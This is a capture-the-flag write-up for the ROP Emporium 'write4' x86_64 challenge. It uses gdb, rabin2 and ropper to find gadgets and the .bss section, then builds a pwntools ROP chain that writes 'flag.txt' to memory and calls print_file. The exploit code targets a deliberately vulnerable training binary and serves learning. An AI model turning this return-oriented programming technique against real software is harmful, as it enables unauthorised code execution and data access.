ROP Emporium - write4 (x86_64)
Introduction
write4 is the fourth challenge of ROP Emporium! To solve this challenge we will have to construct a write primitive in order to write the flag.txt
string in the memory. You can find the challenge here
Challenge Description
On completing our usual checks for interesting strings and symbols in this binary we’re confronted with the stark truth that our favourite string
"/bin/cat flag.txt"
is not present this time. Although you’ll see later that there are other ways around this problem, we’ll stick to the challenge goal which is learning how to get data into the target process’s virtual address space via ROP.
Important!
A PLT entry for a function named print_file() exists within the challenge binary, simply call it with the name of a file you wish to read (like “flag.txt”) as the 1st argument.
Initial Binary Analysis
Let’s start with the file
command.
write4: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=4cbaee0791e9daa7dcc909399291b57ffaf4ecbe, not stripped
As always, we have a x86_64 not stripped ELF Executable.
Let’s also use checksec
to check for any protection mechanisms.
1[*] 'write4'
2 Arch: amd64-64-little
3 RELRO: Partial RELRO
4 Stack: No canary found
5 NX: NX enabled
6 PIE: No PIE (0x400000)
7 RUNPATH: b'.'
The binary has NX (Non Executable stack) enabled in order to prevent us from preforming a ret2shellcode
attack.
To complete the analysis we will utilize GDB to find the functions used in the binary.
gdb -q write4
To list all the functions:
inf func (info functions)
There are 3 interesting functions usefulFunction()
, usefulGadgets()
and print_file()
which is loaded on the PLT.
Let’s analyze (dissasemble) each function.
usefulFunction()
disass usefulFunction
As we can see this function just calls the print_file()
function without passing an argument so it’s not any useful.
usefulGadgets()
disass usefulGadgets
This function contains a mov [r14], r15
gadget which we may use to copy the flag.txt
string into process’s virtual address space. As it stores the value of the %r15
in memory, to the address given in r14
print_file() This function as we know from the challenge description gets the filename as an argument and then prints the appropriate file.
At this point we will skip the Finding the Vulnerability part as we already know that the pwnme
function is vulnerable to Buffer Overflow allowing us %rip
overwrite.
Exploit Strategy
To solve the challenge we have to call the print_file()
function with flag.txt
as the 1st argument. The problem is that the flag.txt
string is not included in the binary so we have to construct a write primitive in order to write the string into an ELF segment.
To achieve this we can utilize the mov [r14], r15
from the usefulGadgets
function in combination with a pop r14; pop r15; ret
gadget in order to populate those registers with the appropriate values. Last but not least, we also need a pop rdi; ret
gadget in order to pass the flag.txt
string to the print_file()
function.
Finding where to write
We can’t start building our exploit without knowing where we are going to write in memory. We will use a tool called rabin2
which is part of the radare2
suite to gather information about the ELF sections.
rabin2 -S write4
The .bss
section is the ideal candidate as:
- We have Read - Write permissions on it.
- It’s size is
0x8
bytes, exactly the size of theflag.txt
string. .bss
contains uninitialized variables so there would be the minimun impact on the binary’s execution.
Building the exploit
Let’s start with a template.
1from pwn import *
2
3elf = context.binary = ELF("write4")
4p = process(elf.path)
5
6offset = 40
7
8payload = b'A' * offset
9
10p.recvuntil(b'> ')
11p.sendline(payload)
12p.interactive()
Use ropper to find the mov [r14], r15
and pop r14; pop r15; ret
gadgets.
ropper -f write4 --search "mov [r14], r15"
1[INFO] Searching for gadgets: mov [r14], r15
2
3[INFO] File: write4
40x0000000000400628: mov qword ptr [r14], r15; ret;
ropper -f write4 --search "pop r14; pop r15; ret"
1[INFO] Searching for gadgets: pop r14; pop r15; ret
2
3[INFO] File: write4
40x0000000000400690: pop r14; pop r15; ret;
Let’s add the gadgets, the .bss address and the string we want to write in the .bss
to our exploit
1from pwn import *
2
3elf = context.binary = ELF("write4")
4p = process(elf.path)
5
6offset = 40
7
8pop_r14_15 = p64(0x400690) # pop r14; pop r15; ret
9mov = p64(0x400628) # mov qword ptr [r14], r15; ret;
10bss_address = p64(0x601038)
11data2write = b'flag.txt'
12
13payload = b'A' * offset
14
15p.recvuntil(b'> ')
16p.sendline(payload)
17p.interactive()
Create the write primitive.
1from pwn import *
2
3elf = context.binary = ELF("write4")
4p = process(elf.path)
5
6offset = 40
7
8pop_r14_15 = p64(0x400690) # pop r14; pop r15; ret
9mov = p64(0x400628) # mov qword ptr [r14], r15; ret;
10bss_vaddr = p64(0x601038)
11data2write = b'flag.txt'
12
13payload = b'A' * offset
14
15# Stage 1 - Write the data into .bss
16
17payload += pop_r14_15
18payload += bss_vaddr # populate r14 with the .bss vaddr.
19payload += data2write # populate r15 with the data.
20payload += mov # Store the value of r15 to the address given in r14
21
22p.recvuntil(b'> ')
23p.sendline(payload)
24p.interactive()
Call the print_file()
function with the .bss
vaddr as argument.
Let’s use ropper to find a pop rdi; ret
gadget.
ropper -f write4 --search "pop rdi; ret"
1[INFO] Searching for gadgets: pop rdi; ret
2
3[INFO] File: write4
40x0000000000400693: pop rdi; ret;
1from pwn import *
2
3elf = context.binary = ELF("write4")
4p = process(elf.path)
5
6offset = 40
7
8pop_r14_15 = p64(0x400690) # pop r14; pop r15; ret
9mov = p64(0x400628) # mov qword ptr [r14], r15; ret;
10bss_vaddr = p64(0x601038)
11data2write = b'flag.txt'
12pop_rdi = p64(0x400693) # pop rdi; ret
13
14payload = b'A' * offset
15
16# Stage 1 - Write the data into .bss
17
18payload += pop_r14_15
19payload += bss_vaddr # populate %r14 with the .bss vaddr.
20payload += data2write # populate %r15 with the data.
21payload += mov # Store the value of %r15 to the address given in %r14
22
23# Stage 2 - Call print_file()
24
25payload += pop_rdi
26payload += bss_vaddr # populate %rdi with the bss_vaddr.
27payload += p64(elf.plt.print_file)
28
29p.recvuntil(b'> ')
30p.sendline(payload)
31p.interactive()